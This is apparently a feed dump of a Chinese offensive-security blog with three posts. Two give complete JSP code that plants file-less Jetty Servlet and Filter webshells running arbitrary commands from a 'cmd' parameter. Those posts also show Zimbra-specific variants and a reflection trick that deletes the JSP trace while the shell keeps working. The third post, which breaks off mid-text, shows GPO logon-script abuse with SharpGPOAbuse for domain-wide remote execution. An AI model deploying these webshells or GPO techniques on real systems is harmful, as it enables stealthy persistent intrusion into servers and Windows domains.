3gstudent-Blog A Jekyll Blog Theme For Hackers https://3gstudent.github.io 3gstudent no https://3gstudent.github.io/ Java利用技巧——Jetty Servlet型内存马 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>实现思路</li> <li>实现代码</li> <li>Zimbra环境下的Servlet型内存马</li> </ul> <h2 id="0x02-实现思路">0x02 实现思路</h2> <hr /> <p>同样是使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马</p> <h2 id="0x03-实现代码">0x03 实现代码</h2> <hr /> <h3 id="1添加servlet">1.添加Servlet</h3> <p>Jetty下可用的完整代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Field"%&gt; &lt;%@ page import="java.lang.reflect.Method"%&gt; &lt;%@ page import="java.util.Scanner"%&gt; &lt;%@ page import="java.io.*"%&gt; &lt;% String servletName = "myServlet"; String urlPattern = "/servlet"; Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null &amp;&amp; osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads"); threadMethod.setAccessible(true); Thread[] threads = (Thread[]) threadMethod.invoke(null); ClassLoader threadClassLoader = null; for (Thread thread : threads) { threadClassLoader = thread.getContextClassLoader(); if(threadClassLoader != null){ if(threadClassLoader.toString().contains("WebAppClassLoader")){ Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context"); fieldContext.setAccessible(true); Object webAppContext = fieldContext.get(threadClassLoader); Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); fieldServletHandler.setAccessible(true); Object servletHandler = fieldServletHandler.get(webAppContext); Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets"); fieldServlets.setAccessible(true); Object[] servlets = (Object[]) fieldServlets.get(servletHandler); boolean flag = false; for(Object s:servlets){ Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name"); fieldName.setAccessible(true); String name = (String) fieldName.get(s); if(name.equals(servletName)){ flag = true; break; } } if(flag){ out.println("[-] Servlet " + servletName + " exists.&lt;br&gt;"); return; } out.println("[+] Add Servlet: " + servletName + "&lt;br&gt;"); out.println("[+] urlPattern: " + urlPattern + "&lt;br&gt;"); ClassLoader classLoader = servletHandler.getClass().getClassLoader(); Class sourceClazz = null; Object holder = null; Field field = null; try{ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); field = sourceClazz.getDeclaredField("JAVAX_API"); Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz); holder = method.invoke(servletHandler, field.get(null)); }catch(ClassNotFoundException e){ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz); holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API")); } holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet); servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder); Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); Object servletMapping = null; try{ servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); }catch(NoSuchMethodException e){ servletMapping = clazz.newInstance(); } servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}}); servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping); } } } %&gt; </code></pre></div></div> <h3 id="2枚举servlet">2.枚举Servlet</h3> <h4 id="1通过request对象调用getservletregistrations枚举servlet">(1)通过request对象调用getServletRegistrations枚举Servlet</h4> <p>Jetty下可用的完整代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Method "%&gt; &lt;% ServletContext servletContext = request.getServletContext(); Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations"); Object obj1 = m1.invoke(servletContext); out.println(obj1); %&gt; </code></pre></div></div> <p>对应命令为:<code class="language-plaintext highlighter-rouge">request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())</code></p> <h4 id="2通过thread获得webappclassloaer通过反射读取_servlets属性来枚举servlet">(2)通过Thread获得webappclassloaer,通过反射读取_servlets属性来枚举Servlet</h4> <p>Jetty下可用的完整代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Field"%&gt; &lt;%@ page import="java.lang.reflect.Method"%&gt; &lt;% Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads"); threadMethod.setAccessible(true); Thread[] threads = (Thread[]) threadMethod.invoke(null); ClassLoader threadClassLoader = null; for (Thread thread:threads) { threadClassLoader = thread.getContextClassLoader(); if(threadClassLoader != null){ if(threadClassLoader.toString().contains("WebAppClassLoader")){ Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context"); fieldContext.setAccessible(true); Object webAppContext = fieldContext.get(threadClassLoader); Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); fieldServletHandler.setAccessible(true); Object servletHandler = fieldServletHandler.get(webAppContext); Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets"); fieldServlets.setAccessible(true); Object[] servlets = (Object[]) fieldServlets.get(servletHandler); boolean flag = false; for(Object servlet:servlets){ out.print(servlet + "&lt;br&gt;"); } } } } %&gt; </code></pre></div></div> <p><strong>注:</strong></p> <p>该方法在Zimbra环境下会存在多个重复结果</p> <h2 id="0x04-zimbra环境下的servlet型内存马">0x04 Zimbra环境下的Servlet型内存马</h2> <hr /> <p>Zimbra存在多个名为WebAppClassLoader的线程,所以在添加Servlet时需要修改判断条件,避免提前退出,在实例代码的基础上直接修改即可</p> <p>在Zimbra环境下测试还需要注意一个问题:在<code class="language-plaintext highlighter-rouge">rctxt</code>-&gt;<code class="language-plaintext highlighter-rouge">jsps</code>下会标记所有执行过的jsp实例,测试代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Field" %&gt; &lt;%@ page import="java.util.concurrent.ConcurrentHashMap" %&gt; &lt;%@ page import="java.util.*" %&gt; &lt;% Field f = request.getClass().getDeclaredField("_scope"); f.setAccessible(true); Object conn1 = f.get(request); f = conn1.getClass().getDeclaredField("_servlet"); f.setAccessible(true); Object conn2 = f.get(conn1); f = conn2.getClass().getSuperclass().getDeclaredField("rctxt"); f.setAccessible(true); Object conn3 = f.get(conn2); f = conn3.getClass().getDeclaredField("jsps"); f.setAccessible(true); ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3); Enumeration enu = conn4.keys(); while (enu.hasMoreElements()) { out.println(enu.nextElement() + "&lt;br&gt;"); } %&gt; </code></pre></div></div> <p>当然,我们可以通过反射删除内存马对应的jsp实例,测试代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Field" %&gt; &lt;%@ page import="java.util.concurrent.ConcurrentHashMap" %&gt; &lt;%@ page import="java.util.*" %&gt; &lt;% Field f = request.getClass().getDeclaredField("_scope"); f.setAccessible(true); Object conn1 = f.get(request); f = conn1.getClass().getDeclaredField("_servlet"); f.setAccessible(true); Object conn2 = f.get(conn1); f = conn2.getClass().getSuperclass().getDeclaredField("rctxt"); f.setAccessible(true); Object conn3 = f.get(conn2); f = conn3.getClass().getDeclaredField("jsps"); f.setAccessible(true); ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3); conn4.remove("/myServlet.jsp"); %&gt; </code></pre></div></div> <p>无论是Filter型内存马还是Servlet型内存马,删除内存马对应的jsp实例不影响内存马的正常使用</p> <h2 id="0x05-利用思路">0x05 利用思路</h2> <hr /> <p>同Filter型内存马一样,Servlet型内存马的优点是不需要写入文件,但是会在服务重启时失效</p> <h2 id="0x06-小结">0x06 小结</h2> <hr /> <p>本文介绍了Jetty Servlet型内存马的实现思路和细节,给出了可供测试的代码,分享了Zimbra环境的利用方法。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Thu, 24 Nov 2022 00:00:00 +0000 https://3gstudent.github.io//Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC Java利用技巧——Jetty Filter型内存马 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>关于Tomcat Filter型内存马的介绍资料有很多,但是Jetty Filter型内存马的资料很少,本文将要参照Tomcat Filter型内存马的设计思路,介绍Jetty Filter型内存马的实现思路和细节。</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>Jetty调试环境搭建</li> <li>实现思路</li> <li>实现代码</li> <li>Zimbra环境下的Filter型内存马</li> </ul> <h2 id="0x02-jetty调试环境搭建">0x02 Jetty调试环境搭建</h2> <hr /> <h3 id="1添加调试参数">1.添加调试参数</h3> <p>JDK 8版本对应的调试参数为:<code class="language-plaintext highlighter-rouge">java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar start.jar</code></p> <p>JDK 9及以上版本对应的调试参数为:<code class="language-plaintext highlighter-rouge">java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -jar start.jar</code></p> <h3 id="2web目录">2.Web目录</h3> <p>位置为: <code class="language-plaintext highlighter-rouge">&lt;jetty path&gt;\webapps\ROOT</code></p> <h3 id="3断点位置">3.断点位置</h3> <p>选择文件<code class="language-plaintext highlighter-rouge">servlet-api-3.1.jar</code>,依次选中<code class="language-plaintext highlighter-rouge">javax.servlet</code>-&gt;<code class="language-plaintext highlighter-rouge">http</code>-&gt;<code class="language-plaintext highlighter-rouge">HttpServlet.class</code>,在合适的位置下断点,当运行到断点时,可以查看request对象的完整结构</p> <h2 id="0x03-实现思路">0x03 实现思路</h2> <hr /> <p>相关参考资料:</p> <p>https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java https://blog.csdn.net/xdeclearn/article/details/125969653</p> <p><a href="https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java">参考资料1</a>是通过JmxMBeanServer获得webappclassloaer,进而通过反射调用相关方法添加一个Filter</p> <p><a href="https://blog.csdn.net/xdeclearn/article/details/125969653">参考资料2</a>是通过Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马的方法</p> <p>我在实际测试过程中,发现通过JmxMBeanServer获得webappclassloaer的方法不够通用,尤其是无法在Zimbra环境下使用</p> <p>因此,最终改为使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Filter型内存马</p> <h2 id="0x04-实现代码">0x04 实现代码</h2> <hr /> <h3 id="1添加filter">1.添加Filter</h3> <p>Jetty下可用的完整代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Field"%&gt; &lt;%@ page import="java.lang.reflect.Method"%&gt; &lt;%@ page import="java.util.Scanner"%&gt; &lt;%@ page import="java.util.EnumSet"%&gt; &lt;%@ page import="java.io.*"%&gt; &lt;% String filterName = "myFilter"; String urlPattern = "/filter"; Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null &amp;&amp; osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }; Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads"); threadMethod.setAccessible(true); Thread[] threads = (Thread[]) threadMethod.invoke(null); ClassLoader threadClassLoader = null; for (Thread thread:threads) { threadClassLoader = thread.getContextClassLoader(); if(threadClassLoader != null){ if(threadClassLoader.toString().contains("WebAppClassLoader")){ Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context"); fieldContext.setAccessible(true); Object webAppContext = fieldContext.get(threadClassLoader); Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); fieldServletHandler.setAccessible(true); Object servletHandler = fieldServletHandler.get(webAppContext); Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters"); fieldFilters.setAccessible(true); Object[] filters = (Object[]) fieldFilters.get(servletHandler); boolean flag = false; for(Object f:filters){ Field fieldName = f.getClass().getSuperclass().getDeclaredField("_name"); fieldName.setAccessible(true); String name = (String) fieldName.get(f); if(name.equals(filterName)){ flag = true; break; } } if(flag){ out.println("[-] Filter " + filterName + " exists.&lt;br&gt;"); return; } out.println("[+] Add Filter: " + filterName + "&lt;br&gt;"); out.println("[+] urlPattern: " + urlPattern + "&lt;br&gt;"); ClassLoader classLoader = servletHandler.getClass().getClassLoader(); Class sourceClazz = null; Object holder = null; Field field = null; try{ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); field = sourceClazz.getDeclaredField("JAVAX_API"); Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz); holder = method.invoke(servletHandler, field.get(null)); }catch(ClassNotFoundException e){ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); Method method = servletHandler.getClass().getMethod("newFilterHolder", sourceClazz); holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API")); } holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter); servletHandler.getClass().getMethod("addFilter", holder.getClass()).invoke(servletHandler, holder); Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); Object filterMapping = clazz.newInstance(); Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); method.setAccessible(true); method.invoke(filterMapping, holder); filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}}); filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); servletHandler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(servletHandler, filterMapping); } } } %&gt; </code></pre></div></div> <h3 id="2枚举filter">2.枚举Filter</h3> <h4 id="1通过request对象调用getfilterregistrations枚举filter">(1)通过request对象调用getFilterRegistrations枚举Filter</h4> <p>Jetty下可用的完整代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Method "%&gt; &lt;% ServletContext servletContext = request.getServletContext(); Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getFilterRegistrations"); Object obj1 = m1.invoke(servletContext); out.println(obj1); %&gt; </code></pre></div></div> <p>对应命令为:<code class="language-plaintext highlighter-rouge">request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getFilterRegistrations").invoke(request.getSession().getServletContext())</code></p> <p><strong>注:</strong></p> <p>查看<code class="language-plaintext highlighter-rouge">servletContext</code>支持的方法:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Method "%&gt; &lt;% ServletContext servletContext = request.getServletContext(); Method[] methods = servletContext.getClass().getSuperclass().getDeclaredMethods(); for(Method method:methods){ out.print(method.getName() + "&lt;br&gt;"); } %&gt; </code></pre></div></div> <p>返回结果如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>createInstance addListener addListener addListener getFilterRegistration getFilterRegistrations setSessionTrackingModes getEffectiveSessionTrackingModes getJspConfigDescriptor getSessionCookieConfig getDefaultSessionTrackingModes getServletRegistration getServletRegistrations getNamedDispatcher setJspConfigDescriptor setInitParameter declareRoles destroyFilter addServlet addServlet addServlet destroyServlet addFilter addFilter addFilter checkDynamic </code></pre></div></div> <h4 id="2通过thread获得webappclassloaer通过反射读取_filters属性来枚举filter">(2)通过Thread获得webappclassloaer,通过反射读取_filters属性来枚举Filter</h4> <p>Jetty下可用的完整代码如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;%@ page import="java.lang.reflect.Field"%&gt; &lt;%@ page import="java.lang.reflect.Method"%&gt; &lt;% Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads"); threadMethod.setAccessible(true); Thread[] threads = (Thread[]) threadMethod.invoke(null); ClassLoader threadClassLoader = null; for (Thread thread:threads) { threadClassLoader = thread.getContextClassLoader(); if(threadClassLoader != null){ if(threadClassLoader.toString().contains("WebAppClassLoader")){ Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context"); fieldContext.setAccessible(true); Object webAppContext = fieldContext.get(threadClassLoader); Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); fieldServletHandler.setAccessible(true); Object servletHandler = fieldServletHandler.get(webAppContext); Field fieldFilters = servletHandler.getClass().getDeclaredField("_filters"); fieldFilters.setAccessible(true); Object[] filters = (Object[]) fieldFilters.get(servletHandler); boolean flag = false; for(Object f:filters){ out.print(f + "&lt;br&gt;"); } } } } %&gt; </code></pre></div></div> <p><strong>注:</strong></p> <p>该方法在Zimbra环境下会存在多个重复结果</p> <h2 id="0x05-zimbra环境下的filter型内存马">0x05 Zimbra环境下的Filter型内存马</h2> <hr /> <p>在Zimbra环境下,思路同样为使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Filter型内存马</p> <p>但是由于Zimbra存在多个名为WebAppClassLoader的线程,所以在添加Filter时需要修改判断条件,避免提前退出,在实例代码的基础上直接修改即可</p> <h2 id="0x06-利用思路">0x06 利用思路</h2> <hr /> <p>Filter型内存马的优点是不需要写入文件,但是会在服务重启时失效</p> <h2 id="0x07-小结">0x07 小结</h2> <hr /> <p>本文介绍了Jetty Filter型内存马的实现思路和细节,给出了可供测试的代码,分享了Zimbra环境的利用方法。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Thu, 17 Nov 2022 00:00:00 +0000 https://3gstudent.github.io//Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Filter%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC 域渗透——利用GPO中的脚本实现远程执行 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p>在之前的文章<a href="https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8GPO%E4%B8%AD%E7%9A%84%E8%AE%A1%E5%88%92%E4%BB%BB%E5%8A%A1%E5%AE%9E%E7%8E%B0%E8%BF%9C%E7%A8%8B%E6%89%A7%E8%A1%8C">《域渗透——利用GPO中的计划任务实现远程执行》</a>介绍了通过域组策略(Group Policy Object)远程执行计划任务的方法,本文将要介绍类似的另外一种方法:通过域组策略(Group Policy Object)的脚本实现远程执行。</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <p>本文将要介绍以下内容:</p> <ul> <li>通过Group Policy Management Console (GPMC) 实现脚本的远程执行</li> <li>通过命令行实现脚本的远程执行</li> <li>新建GPO实现远程执行</li> <li>修改已有的GPO,实现远程执行</li> <li>实现细节</li> </ul> <h2 id="0x02-通过group-policy-management-console-gpmc-实现脚本的远程执行">0x02 通过Group Policy Management Console (GPMC) 实现脚本的远程执行</h2> <hr /> <h3 id="1创建gpo">1.创建GPO</h3> <p>在域控制器上,位置: <code class="language-plaintext highlighter-rouge">Administrative Tools</code> -&gt; <code class="language-plaintext highlighter-rouge">Group Policy Management</code></p> <p>如果想要作用于整个域,选择域<code class="language-plaintext highlighter-rouge">test.com</code>,右键,选择<code class="language-plaintext highlighter-rouge">Create a GPO in this domain,and Link it here...</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-1.png" alt="Alt text" /></p> <p>如果想要作用于指定对象,需要选择提前创建好的OU,右键,选择<code class="language-plaintext highlighter-rouge">Create a GPO in this domain,and Link it here...</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-2.png" alt="Alt text" /></p> <p><strong>补充:</strong>创建OU的位置:<code class="language-plaintext highlighter-rouge">Administrative Tools</code> -&gt; <code class="language-plaintext highlighter-rouge">Active Directory Users and Computers</code></p> <h3 id="2配置gpo">2.配置GPO</h3> <p>选择创建好的GPO,右键,选择<code class="language-plaintext highlighter-rouge">Edit...</code></p> <h4 id="1指定startupshutdownlogonlogoff时要执行的脚本">(1)指定<code class="language-plaintext highlighter-rouge">Startup/Shutdown/Logon/Logoff</code>时要执行的脚本</h4> <p><code class="language-plaintext highlighter-rouge">Startup/Shutdown</code>的位置为<code class="language-plaintext highlighter-rouge">Computer Configuration</code> -&gt; <code class="language-plaintext highlighter-rouge">Windows Settings</code> -&gt; <code class="language-plaintext highlighter-rouge">Scripts(Startup/Shutdown)</code>,作用于域内计算机的开机和关机事件</p> <p><code class="language-plaintext highlighter-rouge">Logon/Logoff</code>的位置为<code class="language-plaintext highlighter-rouge">User Configuration</code> -&gt; <code class="language-plaintext highlighter-rouge">Windows Settings</code> -&gt; <code class="language-plaintext highlighter-rouge">Scripts(Logon/Logoff)</code>,作用于域用户的登陆和注销事件</p> <p>这里以配置用户test1的登陆脚本为例进行配置,选择<code class="language-plaintext highlighter-rouge">Login</code>,将要执行的脚本上传至域共享文件夹,默认位置为:<code class="language-plaintext highlighter-rouge">\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon</code>,配置登陆执行的脚本为<code class="language-plaintext highlighter-rouge">logon1.bat</code>,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-17/2-5.png" alt="Alt text" /></p> <p><strong>注:</strong></p> <p>直接将脚本上传至<code class="language-plaintext highlighter-rouge">\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon</code>不会生效,必须在<code class="language-plaintext highlighter-rouge">Logon</code>中指定要执行的脚本</p> <h4 id="2等待域组策略更新">(2)等待域组策略更新</h4> <p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新</p> <p>为了提高测试效率,可在客户端执行命令<code class="language-plaintext highlighter-rouge">gpupdate /force</code>强制更新组策略</p> <h4 id="3等待触发脚本执行">(3)等待触发脚本执行</h4> <p>在Computer01上登陆用户test1,发现执行了脚本<code class="language-plaintext highlighter-rouge">logon1.bat</code></p> <h2 id="0x03-通过命令行实现脚本的远程执行">0x03 通过命令行实现脚本的远程执行</h2> <hr /> <h3 id="1作用于全域">1.作用于全域</h3> <h4 id="1创建一个gpo">(1)创建一个GPO</h4> <p>Powershell命令:<code class="language-plaintext highlighter-rouge">New-GPO -Name TestGPO1</code></p> <h4 id="2将gpo连到到域testcom">(2)将GPO连到到域test.com</h4> <p>Powershell命令:<code class="language-plaintext highlighter-rouge">New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"</code></p> <p><strong>注:</strong></p> <p>两条命令可以简写为一条命令:<code class="language-plaintext highlighter-rouge">new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"</code></p> <h4 id="3通过sharpgpoabuse设置执行的脚本">(3)通过<a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a>设置执行的脚本</h4> <p>命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 &gt; c:\GPOAbuse.txt" --GPOName "TestGPO1"</code></p> <p>这里也可以通过修改bat文件的内容判断用户名实现作用于指定目标,筛选用户test1的命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==test1 cmd.exe /c echo 1 &gt; c:\GPOAbuse.txt" --GPOName "TestGPO1"</code></p> <h4 id="4等待域组策略更新">(4)等待域组策略更新</h4> <p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟</p> <h4 id="5等待触发脚本执行">(5)等待触发脚本执行</h4> <h4 id="6删除gpo">(6)删除GPO</h4> <p>Powershell命令:<code class="language-plaintext highlighter-rouge">Remove-GPO -Name TestGPO1</code></p> <h3 id="2作用于指定目标">2.作用于指定目标</h3> <h4 id="1创建ou">(1)创建OU</h4> <p>Powershell命令:<code class="language-plaintext highlighter-rouge">New-ADOrganizationalUnit -Name OUtest2 -Path "DC=test,DC=com"</code></p> <h4 id="2确认用户test1的位置">(2)确认用户test1的位置</h4> <p>cmd命令:<code class="language-plaintext highlighter-rouge">dsquery user -name test1</code></p> <p>返回结果:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"CN=test1,CN=Users,DC=test,DC=com" </code></pre></div></div> <h4 id="3将指定用户test1移动至新创建的outest2">(3)将指定用户test1移动至新创建的<code class="language-plaintext highlighter-rouge">OUtest2</code></h4> <p>cmd命令:<code class="language-plaintext highlighter-rouge">dsmove "CN=test1,CN=Users,DC=test,DC=com" -newparent "OU=OUtest2,DC=test,DC=com"</code></p> <p>也可以使用cmd命令:<code class="language-plaintext highlighter-rouge">dsquery user -name test1 | dsmove -newparent "OU=OUtest2,DC=test,DC=com"</code></p> <h4 id="4创建一个gpo并将其连接到指定ou">(4)创建一个GPO并将其连接到指定OU</h4> <p>Powershell命令:<code class="language-plaintext highlighter-rouge">new-gpo -name TestGPO2 | new-gplink -Target "OU=OUtest2,DC=test,DC=com"</code></p> <h4 id="5通过sharpgpoabuse设置执行的脚本">(5)通过<a href="https://github.com/FSecureLABS/SharpGPOAbuse">SharpGPOAbuse</a>设置执行的脚本</h4> <p>命令示例:<code class="language-plaintext highlighter-rouge">SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 &gt; c:\GPOAbuse2.txt" --GPOName "TestGPO2"</code></p> <h4 id="6等待域组策略更新">(6)等待域组策略更新</h4> <p>默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟</p> <h4 id="7等待触发脚本执行">(7)等待触发脚本执行</h4> <h4 id="8删除gpo">(8)删除GPO</h4> <p>Powershell命令:<code class="language-plaintext highlighter-rouge">Remove-GPO -Name TestGPO2</code></p> <h4 id="9将用户test1移除ou至原位置">(9)将用户test1移除OU至原位置</h4> <p>cmd命令:<code class="language-plaintext highlighter-rouge">dsquery user -name test1 | dsmove -newparent "CN=Users,DC=test,DC=com"</code></p> <h4 id="10删除ou">(10)删除OU</h4> <p>Powershell命令:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -ProtectedFromAccidentalDeletion $false Remove-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -Recursive -Confirm:$False </code></pre></div></div> <h2 id="0x04-修改已有的gpo实现远程执行">0x04 修改已有的GPO,实现远程执行</h2> <hr /> <p>默认存在两个组策略,每个文件夹对应一个组策略:</p> <p><code class="language-plaintext highlighter-rouge">{6AC1786C-016F-11D2-945F-00C04fB984F9}</code>对应<code class="language-plaintext highlighter-rouge">Default Domain Controllers Policy</code></p> <p><code class="language-plaintext highlighter-rouge">{31B2F340-016D-11D2-945F-00C04FB984F9}</code>对应<code class="language-plaintext highlighter-rouge">Default Domain Policy</code></p> <p>默认可利用的组策略为<code class="language-plaintext highlighter-rouge">Default Domain 